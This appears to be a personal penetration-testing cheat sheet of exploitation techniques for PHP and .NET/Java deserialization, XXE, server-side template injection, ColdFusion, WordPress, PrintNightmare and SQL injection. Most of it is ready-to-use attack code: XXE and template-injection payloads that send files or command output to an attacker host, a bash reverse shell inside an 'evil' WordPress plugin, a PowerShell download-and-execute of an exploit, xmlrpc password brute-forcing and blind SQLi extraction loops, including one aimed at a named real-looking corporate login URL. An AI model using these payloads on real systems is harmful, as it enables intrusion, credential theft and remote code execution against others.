<?php require("vuln_class.php"); $object = new VulnClass(); $object->vuln_func = "passthru"; $object->vuln_arg = "id"; print_r(serialize($object).PHP_EOL); // or save it to a file: // file_put_contents("test", serialize($object)); ?>
- Try
php3
,php4
,php5
, andphtml
- Note that this is a temporary upload
- First check that
file_uploads = On
- Perform a POST request to
info.php
:POST <uri>/info.php HTTP/1.1 Host: <domain/ip> User-Agent: Test Cookie: PHPSESSID=<sess-id> Content-Length: <body-len+newlines> Content-Type: <type> <body>
<type>
and<body>
may have to bemultipart/form
:Content-Type: multipart/form-data; boundary=---------------<keyword> ---------------<keyword> Content-Disposition: form-data; name="<var>"; filename="test.txt" Content-Type: text/plainSecurity <file-content> ---------------<keyword>
- If phpinfo displays the temporary location of the file, leverage a LFI to RCE with this path
- Scripts to improve the success rate as the files live for a few seconds:
- phpinfo-Local-File-Inclusion
- lfito_rce
- phpinfolfi.py (original)
- See - PHP objects can be serialized and included in vulnerable applications (see the phar wrapper)
- Leverage destructors, function calls, etc using user-controlled code to perform RCE
- From docs.microsoft (see deps)+Telemetry
curl -L -O https://dot.net/v1/dotnet-install.sh # Opt out of the Telemetry export DOTNET_CLI_TELEMETRY_OPTOUT=1 # Only required before installing # Non-root - Latest SDK install bash dotnet-install.sh -c Current # -c <LTS/3.1> - 6.0 LTS or 3.1 # --runtime aspcore - Runtime only # The ~/.dotnet folder can be moved to # /usr/share and consider symlinking # the dotnet tool to /usr/bin
- New console project:
mkdir test cd test dotnet new console # Edit Program.cs vi Program.cs # Add dependencies dotnet add package <name> dotnet add reference <path> # Test it dotnet run # Build it (Debug build) dotnet build # -c Release - Relase build # -f <framework> - Target FW # -r <runtime> - Target Runtime # --arch <arch> - Target Arch # --os <os> - Target OS # # Flags required to "self-contain" # --sc - Self-Contained # --use-current-runtime | -r <runtime> # <arch>-<os> dir is self-contained
- Win - Linux - Cross-platform C# Decompiler
- Better decompilation than
dnSpy
- Linux
AvaloniaILSpy
HiDPI - ref:xrandr --listactivemonitors AVALONIA_SCREEN_SCALE_FACTORS='eDP-1=3' artifacts/linux-x64/ILSpy
dotnet
command line tool:# Install dotnet tool install -g ilspycmd # Add tool to PATH export PATH="$PATH:$HOME/.dotnet/tools" ilspycmd <file> # -o <dir> - Decompile to folder # -p - Decompile as project # -d - Dump file bundle # -lv <ver> - C# lang version # -r <path> - Path to dependencies # --no-dead-code # --no-dead-stores
- Select the appropriate version: docker hub
docker run -it --rm --entrypoint /bin/bash -v "/tmp/test:/mnt/shared:rw" mcr.microsoft.com/dotnet/sdk:<ver> # Check the SDKs and Runtimes dotnet --list-sdks dotnet --list-runtimes # Consider using the Linux Standalone # above for different SDKs/runtimes # Remove image docker rmi mcr.microsoft.com/dotnet/sdk:<ver>
- Site (fork) - GUI C# Decompiler/Editor
- Get the binaries
- Try the 32bit if errors when recompiling
- Robust for obfuscated assemblies - see
- Edit C# Assembly attributes:
// From [assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)] // To [assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribute.DebuggingModes.DisableOptimizations | DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints | DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
- Site - Deserialization payload generator
- Visual Studio 2022 Fix - ref
dotnet nuget remove source nuget.org dotnet nuget add source https://api.nuget.org/v3/index.json -n nuget.org
- Example:
type "<file-long-cmd>" | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
- docs.microsoft -
using System.Windows.Data;
- From WPF - Windows only
- XML deserialization via ExpandedWrapper:
using System; using System.IO; using System.Xml.Serialization; using System.Windows.Data; using System.Data.Services.Internal; using <lib-to-call-when-deserializing>; namespace ODPXmlSerializer { class Program { static void Main(string[] args) { var myExpWrap = new ExpandedWrapper<<class-from-lib>, ObjectDataProvider>(); myExpWrap.ProjectedProperty0 = new ObjectDataProvider(); myExpWrap.ProjectedProperty0.ObjectInstance = new <class-from-lib>(); myExpWrap.ProjectedProperty0.MethodName = "<method-from-lib>"; myExpWrap.ProjectedProperty0.MethodParameters.Add("<method-param1>"); myExpWrap.ProjectedProperty0.MethodParameters.Add("<method-param2>"); var xmlSerializer = new XmlSerializer(myExpWrap.GetType()); var stringWriter = new StringWriter(); xmlSerializer.Serialize(stringWriter, myExpWrap); Console.WriteLine(stringWriter.ToString()); } } }
- Site - JetBrains Intellij Decompiler
- Site - Multiplatform Decompiler
- Site - Java Deserialization cheatsheet
- Site - Java deserialization payload gen
java -jar ysoserial.jar CommonsCollections1 calc.exe
- Create a JAR from scratch:
JAR/test.java
import java.util.* public class test{ public static void main(String[] args){ System.out.println("<test>"); } }
- Compile:
javac -source 1.8 -target 1.8 test.java
META-INF/MANIFEST.MF
Main-Class: test
- Create JAR:
jar cmvf META-INF/MANIFEST.MF test.jar test.class
- Test it:
java -jar test.jar
- Check if the XSS is running in the same page context (and not an iframe) with
alert(document.domain)
instead ofalert(1)
- When injecting the XML, note that the DOCTYPE or ELEMENT may need to be defined before XML tags (doc’s beginning)
<!-- Try first -->
<![CDATA[<script>alert('xss')</script>]]>
<!-- CDATA is not parsed by XML -->
<!-- Alternate -->
<![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
<!-- Try with an internal XML entity -->
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE test [<!ENTITY xxi "<script>alert('xss')</script>">]>
<test>&xxi;</test>
<!-- Private (SYSTEM) -->
<!-- "uri" can be
- a standard URL
- file:///<full-path> - Dir trav
- Some implementations read dirs
- PHP wrapper (expect://<rce>)
- Java/other implementation -->
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "<uri>">]>
<test>&xxe;</test>
<!-- Alternative with ELEMENT -->
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<!-- Note that Dir traversal may
break the XML depending on the
content of the file
Encode it to bypass this -->
<!DOCTYPE a [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=<rel-path>">]>
<title>&test;</title>
<!-- Public -->
<!-- The id after PUBLIC is optional -->
<!DOCTYPE b [<!ENTITY pub PUBLIC "-//W3C//TEXT info//EN" "<path-to.xml>">]>
<title>&pub;</title>
<!-- Parameter Entities -->
<!DOCTYPE p [<!ENTITY % param SYSTEM "alert()"> <!ENTITY xss "<script>%param</script>">]>
<title>&xss;</title>
<!-- Using an external DTD as wrapper -->
<!-- to bypass entity concat error -->
<!-- wrapper.dtd in our local machine -->
<!ENTITY wrapper "%start;%file;%end;">
<!-- XML to send to the parser -->
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///etc/passwd" >
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://<attacker-ip>/wrapper.dtd" >
%dtd;
]>
<test>&wrapper;</test>
<!-- Unparsed External Entities -->
<!-- Allows accessing binary data -->
<!ENTITY name SYSTEM "<uri>" NDATA TYPE>
<!ENTITY name PUBLIC "<pub-id>" "<uri>" NDATA TYPE>
<!-- Exfiltrate data - External DTD -->
<!-- 1 - external.dtd file -->
<!ENTITY % content SYSTEM "file:///etc/passwd">
<!ENTITY % external "<!ENTITY % exfil SYSTEM 'http://<attacker-ip>/out?%content;'>" >
<!-- Start a file server -->
<!-- 2 - Payload -->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE oob [
<!ENTITY % base SYSTEM "http://<attacker-ip>/external.dtd">
%base;
%external;
%exfil;
]>
<bar>
</bar>
<!-- If errors try with /etc/timezone -->
- Repo - XPath injection tool - docs
xcat detect '<url>' <param> "<param>=<val>" --true-string="<non-error-str>" --fast --concurrency=<n> -h <file.h> --encode=form -m POST # Change 'detect' to 'run' or 'shell'
- When uploading files, some formats/extensions may not be allowed (check with
davtest
), but there may be no issue in uploading them as .txt and then renaming them (usecadaver
)
- Site - Kali-Site - Exploit DAV
# Perform check and clean afterwards davtest -url <url> -cleanup # -auth <user:pass> | -realm <realm> # Upload backdoor (improved-version) davtest -url <url> -sendbd auto # See backdoor folder for valid ext # Non-random name: -random <name> # Upload file davtest -url <url> -uploadfile <file> -uploadloc <destination> # Create dirs: -directory <dir>
- Site - WebDAV FTP-like tool
# Use -t to operate on non-DAV paths cadaver <url> # ls | cd | pwd | get | put | delete
- Use
file
to figure out the version - Get a decompiler from lua-users
- Site - LUA 5.0 decompiler
- To fix compilation issues run:
grep -l -r getline | xargs -n1 sed -i 's/getline(/ld_&/g'
- Find GET, POST or URL path that react to user input
- Success operation payloads
{{7*7}} ${7*7} <%= 7*7 %> ${{7*7}} #{7*7} @(7*7)
- Error payloads -> Detect engine
${{<%[%'"}}%\ ${} {{}} @() <%= %> ${7/0} {{7/0}} <%= 7/0 %> @(7/0) ``
- Also try with statements performing common actions (
{%print("test")%}
) instead of just expressions ({{7*7}}
)
- Detect
{{5*5}} {{5*'5'}} # Also 25 Space {{-variable-}}
- RCE
{{[0]|reduce('system','whoami')}} # Check the docs of these functions: # filter, join, map, slice, and sort # Data exfiliation {% set output %} {{[0]|reduce('system','whoami')}} {% endset %} {% set exfil = output| url_encode %} {{[0]|reduce('system','curl http://<attacker-ip>/?exfil=' ~ exfil)}}
- Susceptible to XSS
.ftl
files- Detect
${8*8} ${8*'8'} # Error (Java types)
- RCE
# The Java class has to implement the # TemplateModel class: ${"freemarker.template.utility.Execute"?new()("whoami")}
- Detect
# If the result is encompased by <> then # it is Pug as it expects the first word # of the line to be a tag: h1, p, div... #{9*9} #{"9"*9} # Also 81
- RCE
# 1st. Check if require mod is loaded = require # if not, see if found in the gobal obj = global.process.mainModule.require # if output, set it to a variable - var require = global.process.mainModule.require # Try loading the child_process module = require('child_process') # Run a system command = require('child_process').spawnSync('whoami').stdout
- Detect
{{4*4}} {{4*"4"}} # Jinja if 4444 {{request}} # Jinja if <Request ...> {{conf}} {{session}}
- Configuration info
{{conf|ppprint}} # See Encryption_key
- Read files
# Python 2.7 {{''.__class__.__mro__[2].__subclasses__()[40]('<full-path-to-file>').read()}} # Python 3 {{''.__class__.__mro__[1].__subclasses__()[40]('<full-path-to-file>').read()}}
- RCE
# Bypass most common filters: '.', # '_','|join','[',']','mro','base' {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('<cmd>')|attr('read')()}} # Other bypass way using variables {% set string = "test" %} {% set class = "__class__" %} {% set mro = "__mro__" %} {% set subclasses = "__subclasses__" %} {% set mro_r = string|attr(class)|attr(mro) %} # mro_r[1] is <object> class {% set subclasses_r = mro_r[1]|attr(subclasses)() %} # subclasses_r[420] is <subprocess> class {{ subclasses_r[420](["</path/to/bin>","<arg1>"])|read() }} # Shortest payloads {{ cycler.__init__.__globals__.os.popen('<cmd>').read() }} {{ joiner.__init__.__globals__.os.popen('<cmd>').read() }} {{ namespace.__init__.__globals__.os.popen('<cmd>').read() }}
- Handlebars is a less restrictive Mustache
- Only XSS & variable dump on Mustache
- Detect
# Find a variable that might be set and: {{#if name}} {{name}} {{/if}} # Try erroring for non-existing vars {{#each does_not_exist}} {{this}} {{/each}}
- Read files - (handlebars-helpers script)
# List directory {{#each (readdir "/tmp")}} {{this}} {{/each}} # Read file {{read "/etc/passwd"}}
- RCE depends on imported modules and the underlying implementation
- Site - SSTI detect & exploit tool
# Detect if 'name' is injectable tplmap.py -u 'http://<ip>/page?name=John' # Detect if the path is injectable tplmap.py -u 'http://<ip>/*' # Run a shell tplmap.py --os-shell -u 'http://<ip>/page?name=John'
- From here
- Find the version in the image of the admin login:
http://<ip>/CFIDE/administrator
http://<ip>/CFIDE/administrator/enter.cfm
needs to be accessible, try HTTPS if not- Use LFD for showing the passwords hashes:
# ColdFusion 6 http://<ip>/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00en # ColdFusion 7 http://<ip>/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en # ColdFusion 8 http://<ip>/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en # Other versions http://<ip>/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en
- On the console, run the following JavaScript to get the HMAC hash:
hex_hmac_sha1(document.loginform.salt.value,"<LFD-password-field>")
- Start a mitm HTTP proxy for tampering the request when submitting the login form
- Note that the user field should be
admin
and the password field empty when sending the request - On the tamperer, set the empty
cfadminPassword
field to the HMAC hash obtained before - Note that the login page reloads every 30 seconds to renew the salt, so you’ll have to repeat the console step to get the new HMAC hash
- On the tamperer, the request shall include in a field the salt and this only seem to happen when sending the empty password
- Get the currently executed path by going to the
Server Settings > Mappings
section in the left tab and noting theCFIDE
local path (or any other that can be accessible from the web) - Go to
Debugging and Logging > Scheduled Tasks
and create a new task- Set the name (anything works)
- Set the URL to your machine IP:PORT serving an evil cfm shell with
.txt
extension - Check
Output to file
- Set the file path to the local
CFIDE
path (or any other accessible) + any name for the file (that doesn’t include-
or any symbol) with.cfm
extension - Save the task
- Run the task
- If it fails it may be due to firewall rules (workaround), bad permissions to write to the path, tasks permissions (check the appropriate tabs) or anything related to the filename
- First try to execute the suggested cmd command with a
dir
- If it fails, try using only
cmd
in the Command field and/c <command>
in the Options field - When uploading a file (like
nc.exe
) locate it usingcmd /c dir /s /a C:\*nc.exe
and increase the Timeout - Finally, execute
nc
using thecmd /c
to avoid possible issues regarding the Timeout value
- Can perform tasks equivalent to root
- Its access password is usually root’s
- IMPORTANT: There’s a limit for attempting to login before locking (either permanently or temporarily)!!
- Webmin uses CGI for login at:
/session_login.cgi
- Use
() { :; };sleep 10
in the User-Agent to check for it - See the Shellshock section
- Create a new task with a reverse shell
- Find the default
StateContext
by intercepting a login attempt, changing it to an invalid value and checking the value ofStateContext
in the response - Used for downgrading login (schemas ref):
while read l; do sc="$(echo -n "loginschema=$l" | base64 -w0)"; curl -s -k --data-urlencode "StateContext=$sc" 'https://remote.axa.be/nf/auth/doAuthentication.do' | grep -q 'bG9naW5zY2hlbWE9ZGVmYXVsdA==' || echo "$l - $sc"; sleep 1; done <<EOF CheckBox ClientCertDualAuthDeviceID ClientCertSingleAuthDeviceID DeviceID_Cert DomainDropdown DualAuth DualAuth_Flipped DualAuthDeviceID OntyDeviceID OnlyDomainDropdown OnlyOAuthToken OnlyPassword OnlyUsername PrefilUserFromExpr SingleAuthCaptcha SingleAuthDeviceID EOF
- Intercept a login attempt and replace the
StateContext
base64 value
- Guide
- Search for this in the Proxy history:
- /s/sfsites/aura - URL
- /sfsites/aura - URL
- /aura - URL
- aura.ApexAction.execute - GET param
- message - POST param
- aura.context - POST param
- aura%3a%2f%2f - Encoded param
- apex%3a%2f%2f - Encoded param
- Grep in
app.js
oraura_prod.js
forcomponentService.initControllerDefs([{
- Better use an existing POST to aura as template as it might require additional params like
aura.context
oraura.token
- URL-decode
message
and replace the:- /”descriptor”:/ <controller>
- /”classname”:/ <apex-class>
- /”method”:/ <class-method>
- /”params”:{/ <params> }
- Only Callable Apex Classes can be invoked this way
- Site - WP/Plugin/Site enumeration:
# Update Plugin DB wpscan --update # Complete vuln scan & User-enum wpscan --url <url> --api-token <id> # Get the token in wpscan.com # Set if WP URI is non-default: # --wp-content-dir|--wp-plugins-dir # --force - Force scanning site # --random-user-agent - WAF bypass # --proxy - Run through proxy # Just use the WP/Plugin versions # in searchsploit, ignore the links # Pass bruteforce wpscan --url <url> -e u --passwords <wordlist> # Enumerate all plugins/themes wpscan --url <url> -e at,ap --api-token <id>
- Call
system.listMethods
:curl -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>' -H 'Content-Type: text/xml' <url>/xmlrpc.php
- Try interacting with a test method:
# For example: demo.sayHello curl -d '<?xml version="1.0"?> <methodCall><methodName>demo.sayHello</methodName><params></params></methodCall>' -H 'Content-Type: text/xml' <url>/xmlrpc.php
- Or try with a common one:
# For example: wp.getUsersBlogs curl -d '<?xml version="1.0"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>USER</value></param><param><value>PASS</value></param></params></methodCall>' -H 'Content-Type: text/xml' <url>/xmlrpc.php
- Multi-attempts in one request:
# First check if system.multicall works curl -d @<(awk -vMULTI=1000 -vUSER='<user>' -vORS='' -vbegin='<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>' -vend='</data></array></value></param></params></methodCall>\n' 'BEGIN{print begin;++MULTI};!(NR%MULTI){print end begin}$0="<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>"USER"</string></value><value><string>"$0"</string></value></data></array></value></data></array></value></member></struct></value>";END{print end}' <dict> | head -n 1) -H 'Content-Type: text/xml' <url>/xmlrpc.php # If so, find the max MULTI allowed # Patator - 650 req 3 threads - 5 req/s # rockyou.txt takes around 1h # For more edit multiprocessing maxsize patator http_fuzz url='<path-to>/xmlrpc.php' header='Content-Type: text/xml' method='POST' auto_urlencode=0 body='PROG0' 0="/tmp/test.sh <dict>" --allow-ignore-failures -x ignore:code='xxx' -x ignore:fgrep!='blogid' -x quit:fgrep='blogid'-t 3 # Create /tmp/test.sh with the following #!/usr/bin/env -S perl -pl # Set $maxsize to patator multi maxsize BEGIN{$multi=650;$user='<user>';my$maxsize=10000;use Fcntl;fcntl+STDOUT,Fcntl->F_SETPIPE_SZ,$maxsize;undef$\;print$begin='<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>';$end='</data></array></value></param></params></methodCall>\n';++$multi};print$end,$begin,unless$.%$multi;$_="<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>$user</string></value><value><string>$_</string></value></data></array></value></data></array></value></member></struct></value>";END{print$end} # Setting the pipe with fcntl is an # alternative to setting it on # patator's pipesize subprocess.Popen # on the ProgIter class # Check the buffer size with (cat req): # perl -MFcntl -E 'say+fcntl+STDOUT,Fcntl->F_GETPIPE_SZ,0' | cat # ffuf only allows 100 - Doesn't stop # rockyou.txt takes around 7h and has # to be divided to prevent OOM awk -vMULTI=100 ... | sed -n '1,100000p' | ffuf -u "<url>/xmlrpc.php" -c -mr 'blogName' -H 'Content-Type: text/xml' -d 'FUZZ' -w - -t 2 # Note that -input-cmd results in OOM # Hydra is unable to do this attack # because ^PASS^ max chars are 255
- No
multicall
, slower than login form:# Via wp.getUsersBlogs - Doesn't stop ffuf -u "<url>/xmlrpc.php" -c -ac -ic -H 'Content-Type: text/xml' -d '<?xml version="1.0"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>USER</value></param><param><value>FUZZ</value></param></params></methodCall>' -w <dict> # Via wp.getPosts - Stops on first res hydra -f -l none -P <dict> <ip> http-post-form '/<path-to>/xmlrpc.php:<?xml version="1.0"?><methodCall><methodName>wp.getPosts</methodName><params><param><value>0</value></param><param><value>USER</value></param><param><value>^PASS^</value></param></params></methodCall>:403:H=Content-Type\: text/xml'
- Useful for IP reveal (WAF bypass), Port Discovery (XSPA) and DoS - reference:
# Try a https://postb.in/ as URL-FROM # URL-TO is: <site/127>/wordpress/?p=1 curl -d '<?xml version="1.0"?> <methodCall><methodName>pingback.ping</methodName><params><param><value> <string>URL-FROM</string> </value></param><param><value> <string>URL-TO</string> </value></param></params></methodCall>' -H 'Content-Type: text/xml' <url>/xmlrpc.php # faultCode>0 means open URL-FROM port
- These steps are to be performed if PHPmyadmin or a SQLi give DB access
- Find the active sessions in the table
wp_usermeta
looking at the columns:meta_key = session_tokens
- Check that the
user_id
of the session corresponds to one with admin privileges (see below how)
- Find the
user_id
of the admin in the tablewp_usermeta
looking at the columns:user_id
meta_key = wp_capabilities
meta_value LIKE administrator
- Find the username corresponding to the
user_id
in thewp_users
table:ID
should corresponds touser_id
- Check
user_login
&user_nicename
- Modify the
user_pass
value to one generated with the same hash - Use
Name-That-Hash
for hash id - If
phpass
type, useopenssl
to generate a new password:# phpass is salted MD5 openssl passwd -1 '<password>' # -salt <salt> - Use salt value
- Create an evil PHP file with the format:
<?php <payload>; ?>
- Find any upload point (media/plugins/themes) and select the
evil.php
(not zipped) as file - Even if it fails, try to find it under:
/wp-content/uploads/evil.php
- or
/uploads/evil.php
- Evil plugin content:
<?php /** * Plugin Name: Evil Plugin * Plugin URI: * Description: Evil Plugin * Version: 1.0 * Author: Test * Author URI: http://example.com */ <payload> // Either use msfvenom or exec // exec("/bin/bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'"); ?>
- Package it:
zip -r evil.zip evil.php
- Upload:
/wp-admin/plugin-install.php
- Activate it (optional)
- Or find it under:
/wp-content/plugins/evil/evil.php
- or
/plugins/evil/evil.php
- Alternatively you may install a vulnerable legit plugin
- Create an evil PHP file with the format:
<?php <payload>; ?>
- Package it:
zip -r evil.zip evil.php
- Upload:
/wp-admin/theme-install.php
- Activate it (optional)
- Find it under:
/wp-content/themes/evil/evil.php
- or
/themes/evil/evil.php
- Go to:
/wp-admin/theme-editor.php
- Select a php file/template (
404.php
) - Check at the bottom that it can be modified
- Replace with:
<?php <payload>; ?>
- Find the modified file under:
/wp-content/themes/<theme>/404.php
- or
/themes/<theme>/404.php
- Site - Drupal/WP/Silverstripe scanner
droopescan scan drupal -u <url> # -U <file> - List of URLs to scan # --method {not_found,forbidden,ok} # Use a different test method
- Site - OWASP Joomla scanner:
# -ec enumerates components joomscan.pl -u <url> -ec # -a <UA> - Set User-Agent # -r - Random User-Agent # --cookie <str-cookie> # --timeout <num> joomscan.pl --update
- Site - Joomla scanner:
joomlascan.py -u <url> -t 30 # -t <threads>
- Hosting providers: 169.254.169.254
- Check if the
spool
service is active - For patched systems check this:
REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" :: Still vulnerable if it returns: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint RestrictDriverInstallationToAdministrators REG_DWORD 0x0 NoWarningNoElevationOnInstall REG_DWORD 0x1
- Site - PowerShell Local LPE PrivEsc
Import-Module .\cve-2021-1675.ps1 :: Or load from remote server IEX(New-Object Net.Webclient).downloadstring('http://<ip>/cve-2021-1675.ps1') :: Add new admin user Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "password" :: Execute DLL as admin Invoke-Nightmare -DLL "C:\path\to\bindshell.dll"
- Site - Remote Exploit CVE-2021-34527:
# Scan for the vulnerability rpcdump.py @<ip> | grep 'MS-RPRN\|MS-PAR' # Check the site for steps to build ./CVE-2021-1675.py <dom>/<usr>:<pwd>@<ip> '\\<local-ip>\share\addCube.dll'
- Another guide
- Site - Auth -> SpoolService bug -> SMB
# Force auth with attacker responder printerbug.py [[<dom>/]<user>[:<pass>]@]<host/ip> <attacker-ip>
- Use the SecLists:
- quick-SQLi
- Generic-SQLi
- Generic-BlindSQLi <- Last resort
- Site - Most flexible fuzzer:
# Capture request: FUZZ in usr/pass ffuf -request <req> -mode pitchfork -c -ac -w <wlist> # -request-proto http - Force HTTP
- SQLi to use with the command below:
-- URL encoded %'))%20and%20strcmp(upper(substr(database(),$1,1)),'$2')%3d0%20--%20
zsh
command:# curl.sh contains Burp copy-to-curl # sh <<EOF # curl -X POST -H $'...' -d '...' # curl method without $'..' -> '..' echo; for ((i=1;;i++)); do for c in {65..96} {32..64} {123..126}; do c="$(([##16]c))"; while :; do sleep 1; { ./curl.sh "$i" "%$c" || continue } | { grep -m1 -q 'Agradecido' && { echo -ne "\x$c"; continue 3 } }; break; done; done; break; done; echo # curl.sh can also be a function
- SQLi to use with the command below:
-- URL encoded -- Used for str concatenation '%2b(select%20'a'%20union%20SELECT(if((STRCMP(upper(substring(CURRENT_USER(),$1,1)),'$2'))%3d0,SLEEP(10),0)))%2b' -- Used for AND sqli ')+AND+(SELECT+1310+FROM+((SELECT(if((STRCMP(upper(substring(CURRENT_USER(),$1,1)),%27$2%27))%3d0,SLEEP(20),0))))fDpl)--+'
zsh
command:# curl.sh contains Burp copy-to-curl # sh <<EOF # curl -s -o /dev/null -H $'...' # curl method without $'..' -> '..' echo; for ((i=1;;i++)); do for c in {65..96} {32..64} {123..126}; do c="$(([##16]c))"; while :; do sleep 1; timeout 6 ./curl.sh "$i" "%$c" && break; [ $? -eq 124 ] && { echo -ne "\x$c"; continue 3 }; done; done; break; done; echo # curl.sh can be: "$0 $i %$c curl"
- Site - Automated SQLi and dumper tool
# TODO - General flag description sqlmap -u '<url>' -p '<params>' # -p <p1>,<p2..> - Params to test # --dbms=<DB> - Only test for a DB # --dump - Dump all tables # --flush-session - Forget saved session # Examples: # POST request with multiple parameters sqlmap -u '<url>' --method POST --data "db=mysql&name=user&sort=id&order=asc" -p "name,sort,order"
SELECT name FROM master.sys.databases
-- Older
SELECT name FROM master.dbo.sysdatabases
-- Alternative
EXEC sp_databases
USE <database>
- From here:
SELECT schema_name FROM information_schema.schemata
- General:
-- From currently selected DB SELECT table_name FROM information_schema.tables -- From non-selected DB SELECT table_name FROM <db>.information_schema.tables
- Associated with a schema:
SELECT table_name FROM information_schema.tables where table_schema = '<schema>'
- Associated with their DBs:
-- Some DBs may require using AS when declaring the identifier: -- information_schema.schemata AS s SELECT s.schema_name, t.table_name FROM information_schema.schemata s INNER JOIN information_schema.tables t ON s.schema_name = t.table_schema ORDER BY schema_name, table_name
- Identify them and their types:
SELECT column_name, data_type FROM information_schema.columns WHERE table_name='<table-name>'
- Then query the table:
SELECT <column> FROM <table-name> -- Using a DB object SELECT <column> FROM <dbo>.<table-name> -- The databases listed in inf schema -- may need to be accessed by -- Using a DB object SELECT <column> FROM <db>.dbo.<table-name>
- Querying the schema:
SELECT collation_name FROM information_schema.columns WHERE column_name='name' AND table_name='<table-name>'
- Collate the return value:
SELECT name COLLATE <collation-name> FROM <table-name>
- MySQL client
mysql -u <usr> -D <db> -p [<pass>] # -P <port> - Different port # -h <ip> - Remote connection # -C - Use compression # -e <cmd> - Oneshot command/query # -r - Raw output
- List tables and system users
-- List all databases SHOW DATABASES; -- Change database USE <db-name> -- Tables in the selected DB SHOW TABLES; -- List 'system' table SELECT * from <db>.system -- All system users info SELECT * from mysql.user; -- User currently running the DB SELECT CURRENT_USER(); -- User who started the DB SELECT USER(); -- User's permissions SELECT CURRENT_ROLE(); -- MySQL server version SELECT VERSION(); -- Current database SELECT DATABASE(); -- Current server variables SHOW VARIABLES;
- Extract version - error based
extractvalue('',concat('>',version())); -- Multi-data concat (table names) extractvalue('',concat('>',( SELECT group_concat(table_schema) FROM ( SELECT table_schema FROM information_schema.tables GROUP BY table_schema) AS foo) ) -- Errors might be limited to 32 chars -- Iterate over the tables by indexes extractvalue('',concat('>',( SELECT group_concat(table_name) FROM ( SELECT table_name FROM information_schema.tables WHERE table_schema='master' LIMIT 2 offset 2) AS foo) ) -- Do the same with the column names extractvalue('',concat('>',( SELECT group_concat(column_name) FROM ( SELECT column_name FROM information_schema.columns WHERE table_schema='master' AND table_name='users') AS foo) ) -- Extract passwords 32 chars at a time extractvalue('',concat('>',( SELECT substring(password,1,32) FROM users LIMIT 1 offset 0) )
- RW permissions limited to
secure_file_priv
:-- Nothing means no restrictions SELECT @@GLOBAL.secure_file_priv;
- Write table to file:
SELECT * FROM users INTO OUTFILE '/tmp/users.txt';
- Read file using function:
SELECT LOAD_FILE('/tmp/users.txt');
osql
::: Use default auth and master db osql -E :: Run the commands with: go
sqlcmd
::: Almost like osql sqlcmd -E :: Set the output width: -w<cols>
- Site - Impacket mssqlclient.py:
mssqlclient.py <DOMAIN/><user>@<ip> -windows-auth # Check the -k and -hashes flags
- Site - Multi SQL shell:
# Supports what mssqlclient doesn't sqsh -U <user> -P <pass> -D <db> -S <ip/server> # Use 'go' to run the SQL queries # & 'go -m pretty' -> better output
- From here:
-- Name only SELECT name FROM sys.servers -- Name and maybe IP SELECT name, data_source FROM sys.servers -- All info EXEC sp_linkedservers
- From here:
-- Use external double quotes and -- internal single quotes if needed EXEC <name-linked-server>.[master].sys.sp_executesql N'SELECT @@VERSION;' -- N'<query>' doesn't limit length -- Or EXEC('SELECT SYSTEM_USER;') AT <name-linked-server> -- Use double quotes in the name -- if it contains backslashes
- Check whether the access from the linked server to the current one has higher privileges (Trusted Link):
EXEC "<linked-srv>".[master].sys.sp_executesql N'EXEC(''SELECT SYSTEM_USER;'') AT "<current-srv>"'
- List databases:
SELECT name FROM sys.databases -- In detail via information_schema SELECT * FROM app.information_schema.tables;
- List table columns and type:
SELECT COLUMN_NAME, DATA_TYPE FROM app.information_schema.columns WHERE TABLE_NAME = 'master';
- Extract version - error based
cast(@@version as integer);
- MSF -
auxiliary/admin/mssql/mssql_enum
- Pentestmonkey
- HackTricks
- From here:
-- You may need to execute it in a DB USE master -- Check for high privileges SELECT IS_SRVROLEMEMBER('sysadmin') -- Enable the feature EXEC sp_configure 'show advanced option', '1' RECONFIGURE WITH OVERRIDE EXEC sp_configure 'xp_cmdshell', 1 RECONFIGURE -- Use the feature xp_cmdshell '<shell-command>' -- You may need to use EXEC EXEC xp_cmdshell '<shell-command>' -- Or SELECT SELECT xp_cmdshell '<shell-command>' -- OR SELECT * FROM xp_cmdshell '<shell-command>'
